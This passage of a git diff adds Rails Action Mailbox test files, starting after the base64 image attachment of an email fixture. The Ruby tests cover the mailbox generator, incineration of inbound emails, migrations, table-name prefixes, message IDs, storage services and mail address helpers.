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
+
+--Apple-Mail=_83444AF4-343C-4F75-AF8F-14E1E7434FC1--
+
+--Apple-Mail=_33A037C7-4BB3-4772-AE52-FCF2D7535F74--
diff --git a/actionmailbox/test/generators/mailbox_generator_test.rb b/actionmailbox/test/generators/mailbox_generator_test.rb
new file mode 100644
index 0000000000000..f9677ba591270
--- /dev/null
+++ b/actionmailbox/test/generators/mailbox_generator_test.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "rails/generators/mailbox/mailbox_generator"
+
+class MailboxGeneratorTest < Rails::Generators::TestCase
+  destination File.expand_path("../../tmp", __dir__)
+  setup :prepare_destination
+  tests Rails::Generators::MailboxGenerator
+
+  arguments ["inbox"]
+
+  def test_mailbox_skeleton_is_created
+    run_generator
+
+    assert_file "app/mailboxes/inbox_mailbox.rb" do |mailbox|
+      assert_match(/class InboxMailbox < ApplicationMailbox/, mailbox)
+      assert_match(/def process/, mailbox)
+      assert_no_match(%r{# routing /something/i => :somewhere}, mailbox)
+    end
+
+    assert_file "app/mailboxes/application_mailbox.rb" do |mailbox|
+      assert_match(/class ApplicationMailbox < ActionMailbox::Base/, mailbox)
+      assert_match(%r{# routing /something/i => :somewhere}, mailbox)
+      assert_no_match(/def process/, mailbox)
+    end
+  end
+
+  def test_mailbox_skeleton_is_created_with_namespace
+    run_generator %w(inceptions/inbox -t=test_unit)
+
+    assert_file "app/mailboxes/inceptions/inbox_mailbox.rb" do |mailbox|
+      assert_match(/class Inceptions::InboxMailbox < ApplicationMailbox/, mailbox)
+      assert_match(/def process/, mailbox)
+      assert_no_match(%r{# routing /something/i => :somewhere}, mailbox)
+    end
+
+    assert_file "test/mailboxes/inceptions/inbox_mailbox_test.rb" do |mailbox|
+      assert_match(/class Inceptions::InboxMailboxTest < ActionMailbox::TestCase/, mailbox)
+      assert_match(/# test "receive mail" do/, mailbox)
+      assert_match(/#     to: '"someone" <someone@example.com>',/, mailbox)
+    end
+
+    assert_file "app/mailboxes/application_mailbox.rb" do |mailbox|
+      assert_match(/class ApplicationMailbox < ActionMailbox::Base/, mailbox)
+      assert_match(%r{# routing /something/i => :somewhere}, mailbox)
+      assert_no_match(/def process/, mailbox)
+    end
+  end
+
+  def test_check_class_collision
+    Object.const_set :InboxMailbox, Class.new
+    content = capture(:stderr) { run_generator }
+    assert_match(/The name 'InboxMailbox' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :InboxMailbox
+  end
+
+  def test_invokes_default_test_framework
+    run_generator %w(inbox -t=test_unit)
+
+    assert_file "test/mailboxes/inbox_mailbox_test.rb" do |test|
+      assert_match(/class InboxMailboxTest < ActionMailbox::TestCase/, test)
+      assert_match(/# test "receive mail" do/, test)
+      assert_match(/#     to: '"someone" <someone@example.com>',/, test)
+    end
+  end
+
+  def test_mailbox_on_revoke
+    run_generator
+    run_generator ["inbox"], behavior: :revoke
+
+    assert_no_file "app/mailboxes/inbox_mailbox.rb"
+  end
+
+  def test_mailbox_suffix_is_not_duplicated
+    run_generator %w(inbox_mailbox -t=test_unit)
+
+    assert_no_file "app/mailboxes/inbox_mailbox_mailbox.rb"
+    assert_file "app/mailboxes/inbox_mailbox.rb"
+
+    assert_no_file "test/mailboxes/inbox_mailbox_mailbox_test.rb"
+    assert_file "test/mailboxes/inbox_mailbox_test.rb"
+  end
+end
diff --git a/actionmailbox/test/jobs/incineration_job_test.rb b/actionmailbox/test/jobs/incineration_job_test.rb
new file mode 100644
index 0000000000000..03948a32bf93f
--- /dev/null
+++ b/actionmailbox/test/jobs/incineration_job_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionMailbox::IncinerationJobTest < ActiveJob::TestCase
+  setup { @inbound_email = create_inbound_email_from_fixture("welcome.eml") }
+
+  test "ignoring a missing inbound email" do
+    @inbound_email.destroy!
+
+    perform_enqueued_jobs do
+      assert_nothing_raised do
+        ActionMailbox::IncinerationJob.perform_later @inbound_email
+      end
+    end
+  end
+end
diff --git a/actionmailbox/test/migrations_test.rb b/actionmailbox/test/migrations_test.rb
new file mode 100644
index 0000000000000..eb18781e03081
--- /dev/null
+++ b/actionmailbox/test/migrations_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require ActionMailbox::Engine.root.join("db/migrate/20180917164000_create_action_mailbox_tables.rb").to_s
+
+class ActionMailbox::MigrationsTest < ActiveSupport::TestCase
+  setup do
+    @original_verbose = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
+
+    @connection = ActiveRecord::Base.lease_connection
+    @original_options = Rails.configuration.generators.options.deep_dup
+  end
+
+  teardown do
+    Rails.configuration.generators.options = @original_options
+    rerun_migration
+    ActiveRecord::Migration.verbose = @original_verbose
+  end
+
+  test "migration creates tables with default primary key type" do
+    action_mailbox_tables.each do |table|
+      assert_equal :integer, primary_key(table).type
+    end
+  end
+
+  test "migration creates tables with configured primary key type" do
+    Rails.configuration.generators do |g|
+      g.orm :active_record, primary_key_type: :string
+    end
+
+    rerun_migration
+
+    action_mailbox_tables.each do |table|
+      assert_equal :string, primary_key(table).type
+    end
+  end
+
+  private
+    def rerun_migration
+      CreateActionMailboxTables.migrate(:down)
+      CreateActionMailboxTables.migrate(:up)
+    end
+
+    def action_mailbox_tables
+      @action_mailbox_tables ||= ActionMailbox::Record.descendants.map { |klass| klass.table_name.to_sym }
+    end
+
+    def primary_key(table)
+      @connection.columns(table).find { |c| c.name == "id" }
+    end
+end
diff --git a/actionmailbox/test/models/table_name_test.rb b/actionmailbox/test/models/table_name_test.rb
new file mode 100644
index 0000000000000..0b082d1bd4867
--- /dev/null
+++ b/actionmailbox/test/models/table_name_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionMailbox::TableNameTest < ActiveSupport::TestCase
+  setup do
+    @old_prefix = ActiveRecord::Base.table_name_prefix
+    @old_suffix = ActiveRecord::Base.table_name_suffix
+
+    ActiveRecord::Base.table_name_prefix = @prefix = "abc_"
+    ActiveRecord::Base.table_name_suffix = @suffix = "_xyz"
+
+    @models = [ActionMailbox::InboundEmail]
+    @models.map(&:reset_table_name)
+  end
+
+  teardown do
+    ActiveRecord::Base.table_name_prefix = @old_prefix
+    ActiveRecord::Base.table_name_suffix = @old_suffix
+
+    @models.map(&:reset_table_name)
+  end
+
+  test "prefix and suffix are added to the Action Mailbox tables' name" do
+    assert_equal(
+      "#{@prefix}action_mailbox_inbound_emails#{@suffix}",
+       ActionMailbox::InboundEmail.table_name
+    )
+  end
+end
diff --git a/actionmailbox/test/test_helper.rb b/actionmailbox/test/test_helper.rb
new file mode 100644
index 0000000000000..2f4edb8282d49
--- /dev/null
+++ b/actionmailbox/test/test_helper.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
+
+ENV["RAILS_ENV"] = "test"
+ENV["RAILS_INBOUND_EMAIL_PASSWORD"] = "tbsy84uSV1Kt3ZJZELY2TmShPRs91E3yL4tzf96297vBCkDWgL"
+
+require_relative "../test/dummy/config/environment"
+ActiveRecord::Migrator.migrations_paths = [ File.expand_path("../test/dummy/db/migrate", __dir__) ]
+require "rails/test_help"
+
+require "webmock/minitest"
+
+require "rails/test_unit/reporter"
+Rails::TestUnitReporter.executable = "bin/test"
+
+if ActiveSupport::TestCase.respond_to?(:fixture_paths=)
+  ActiveSupport::TestCase.fixture_paths = [File.expand_path("fixtures", __dir__)]
+  ActionDispatch::IntegrationTest.fixture_paths = ActiveSupport::TestCase.fixture_paths
+  ActiveSupport::TestCase.file_fixture_path = File.expand_path("fixtures", __dir__) + "/files"
+  ActiveSupport::TestCase.fixtures :all
+end
+
+require "action_mailbox/test_helper"
+
+class ActiveSupport::TestCase
+  include ActionMailbox::TestHelper, ActiveJob::TestHelper
+end
+
+class ActionDispatch::IntegrationTest
+  private
+    def credentials
+      ActionController::HttpAuthentication::Basic.encode_credentials "actionmailbox", ENV["RAILS_INBOUND_EMAIL_PASSWORD"]
+    end
+
+    def switch_password_to(new_password)
+      previous_password, ENV["RAILS_INBOUND_EMAIL_PASSWORD"] = ENV["RAILS_INBOUND_EMAIL_PASSWORD"], new_password
+      yield
+    ensure
+      ENV["RAILS_INBOUND_EMAIL_PASSWORD"] = previous_password
+    end
+end
+
+if ARGV.include?("-v")
+  ActiveRecord::Base.logger = Logger.new(STDOUT)
+  ActiveJob::Base.logger    = Logger.new(STDOUT)
+end
+
+class BounceMailer < ActionMailer::Base
+  def bounce(to:)
+    mail from: "receiver@example.com", to: to, subject: "Your email was not delivered" do |format|
+      format.html { render plain: "Sorry!" }
+    end
+  end
+end
+
+require_relative "../../tools/test_common"
diff --git a/actionmailbox/test/unit/inbound_email/incineration_test.rb b/actionmailbox/test/unit/inbound_email/incineration_test.rb
new file mode 100644
index 0000000000000..54488349fda0a
--- /dev/null
+++ b/actionmailbox/test/unit/inbound_email/incineration_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+class ActionMailbox::InboundEmail::IncinerationTest < ActiveSupport::TestCase
+  test "incinerating 30 days after delivery" do
+    freeze_time
+
+    assert_enqueued_with job: ActionMailbox::IncinerationJob, at: 30.days.from_now do
+      create_inbound_email_from_fixture("welcome.eml").delivered!
+    end
+
+    travel 30.days
+
+    assert_difference -> { ActionMailbox::InboundEmail.count }, -1 do
+      perform_enqueued_jobs only: ActionMailbox::IncinerationJob
+    end
+  end
+
+  test "incinerating 30 days after bounce" do
+    freeze_time
+
+    assert_enqueued_with job: ActionMailbox::IncinerationJob, at: 30.days.from_now do
+      create_inbound_email_from_fixture("welcome.eml").bounced!
+    end
+
+    travel 30.days
+
+    assert_difference -> { ActionMailbox::InboundEmail.count }, -1 do
+      perform_enqueued_jobs only: ActionMailbox::IncinerationJob
+    end
+  end
+
+  test "incinerating 30 days after failure" do
+    freeze_time
+
+    assert_enqueued_with job: ActionMailbox::IncinerationJob, at: 30.days.from_now do
+      create_inbound_email_from_fixture("welcome.eml").failed!
+    end
+
+    travel 30.days
+
+    assert_difference -> { ActionMailbox::InboundEmail.count }, -1 do
+      perform_enqueued_jobs only: ActionMailbox::IncinerationJob
+    end
+  end
+
+  test "skipping incineration" do
+    original, ActionMailbox.incinerate = ActionMailbox.incinerate, false
+
+    assert_no_enqueued_jobs only: ActionMailbox::IncinerationJob do
+      create_inbound_email_from_fixture("welcome.eml").delivered!
+    end
+  ensure
+    ActionMailbox.incinerate = original
+  end
+end
diff --git a/actionmailbox/test/unit/inbound_email/message_id_test.rb b/actionmailbox/test/unit/inbound_email/message_id_test.rb
new file mode 100644
index 0000000000000..af467a8d45466
--- /dev/null
+++ b/actionmailbox/test/unit/inbound_email/message_id_test.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+class ActionMailbox::InboundEmail::MessageIdTest < ActiveSupport::TestCase
+  test "message id is extracted from raw email" do
+    inbound_email = create_inbound_email_from_fixture("welcome.eml")
+    assert_equal "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com", inbound_email.message_id
+  end
+
+  test "message id is generated if its missing" do
+    inbound_email = create_inbound_email_from_source "Date: Fri, 28 Sep 2018 11:08:55 -0700\r\nTo: a@example.com\r\nMime-Version: 1.0\r\nContent-Type: text/plain\r\nContent-Transfer-Encoding: 7bit\r\n\r\nHello!"
+    assert_not_nil inbound_email.message_id
+  end
+end
diff --git a/actionmailbox/test/unit/inbound_email_test.rb b/actionmailbox/test/unit/inbound_email_test.rb
new file mode 100644
index 0000000000000..264209c118192
--- /dev/null
+++ b/actionmailbox/test/unit/inbound_email_test.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require_relative "../test_helper"
+require "minitest/mock"
+
+module ActionMailbox
+  class InboundEmailTest < ActiveSupport::TestCase
+    test "mail provides the parsed source" do
+      assert_equal "Discussion: Let's debate these attachments", create_inbound_email_from_fixture("welcome.eml").mail.subject
+    end
+
+    test "source returns the contents of the raw email" do
+      assert_equal file_fixture("welcome.eml").read, create_inbound_email_from_fixture("welcome.eml").source
+    end
+
+    test "email with message id is processed only once when received multiple times" do
+      mail = Mail.from_source(file_fixture("welcome.eml").read)
+      assert mail.message_id
+
+      inbound_email_1 = create_inbound_email_from_source(mail.to_s)
+      assert inbound_email_1
+
+      inbound_email_2 = create_inbound_email_from_source(mail.to_s)
+      assert_nil inbound_email_2
+    end
+
+    test "email with missing message id is processed only once when received multiple times" do
+      mail = Mail.from_source("Date: Fri, 28 Sep 2018 11:08:55 -0700\r\nTo: a@example.com\r\nMime-Version: 1.0\r\nContent-Type: text/plain\r\nContent-Transfer-Encoding: 7bit\r\n\r\nHello!")
+      assert_nil mail.message_id
+
+      inbound_email_1 = create_inbound_email_from_source(mail.to_s)
+      assert inbound_email_1
+
+      inbound_email_2 = create_inbound_email_from_source(mail.to_s)
+      assert_nil inbound_email_2
+    end
+
+    test "error on upload doesn't leave behind a pending inbound email" do
+      ActiveStorage::Blob.service.stub(:upload, -> { raise "Boom!" }) do
+        assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+          assert_raises do
+            create_inbound_email_from_fixture "welcome.eml"
+          end
+        end
+      end
+    end
+
+    test "email gets saved to the configured storage service" do
+      ActionMailbox.storage_service = :test_email
+
+      assert_equal(:test_email, ActionMailbox.storage_service)
+
+      email = create_inbound_email_from_fixture("welcome.eml")
+
+      storage_service = ActiveStorage::Blob.services.fetch(ActionMailbox.storage_service)
+      raw = email.raw_email_blob
+
+      # Not present in the main storage
+      assert_not(ActiveStorage::Blob.service.exist?(raw.key))
+      # Present in the email storage
+      assert(storage_service.exist?(raw.key))
+    ensure
+      ActionMailbox.storage_service = nil
+    end
+
+    test "email gets saved to the default storage service, even if it gets changed" do
+      default_service = ActiveStorage::Blob.service
+      ActiveStorage::Blob.service = ActiveStorage::Blob.services.fetch(:test_email)
+
+      # Doesn't change ActionMailbox.storage_service
+      assert_nil(ActionMailbox.storage_service)
+
+      email = create_inbound_email_from_fixture("welcome.eml")
+      raw = email.raw_email_blob
+
+      # Not present in the (previously) default storage
+      assert_not(default_service.exist?(raw.key))
+      # Present in the current default storage (email)
+      assert(ActiveStorage::Blob.service.exist?(raw.key))
+    ensure
+      ActiveStorage::Blob.service = default_service
+    end
+  end
+end
diff --git a/actionmailbox/test/unit/mail_ext/address_equality_test.rb b/actionmailbox/test/unit/mail_ext/address_equality_test.rb
new file mode 100644
index 0000000000000..e4426aeae9594
--- /dev/null
+++ b/actionmailbox/test/unit/mail_ext/address_equality_test.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+module MailExt
+  class AddressEqualityTest < ActiveSupport::TestCase
+    test "two addresses with the same address are equal" do
+      assert_equal Mail::Address.new("david@basecamp.com"), Mail::Address.new("david@basecamp.com")
+    end
+  end
+end
diff --git a/actionmailbox/test/unit/mail_ext/address_wrapping_test.rb b/actionmailbox/test/unit/mail_ext/address_wrapping_test.rb
new file mode 100644
index 0000000000000..c4eb1328efa69
--- /dev/null
+++ b/actionmailbox/test/unit/mail_ext/address_wrapping_test.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+module MailExt
+  class AddressWrappingTest < ActiveSupport::TestCase
+    test "wrap" do
+      needing_wrapping    = Mail::Address.wrap("david@basecamp.com")
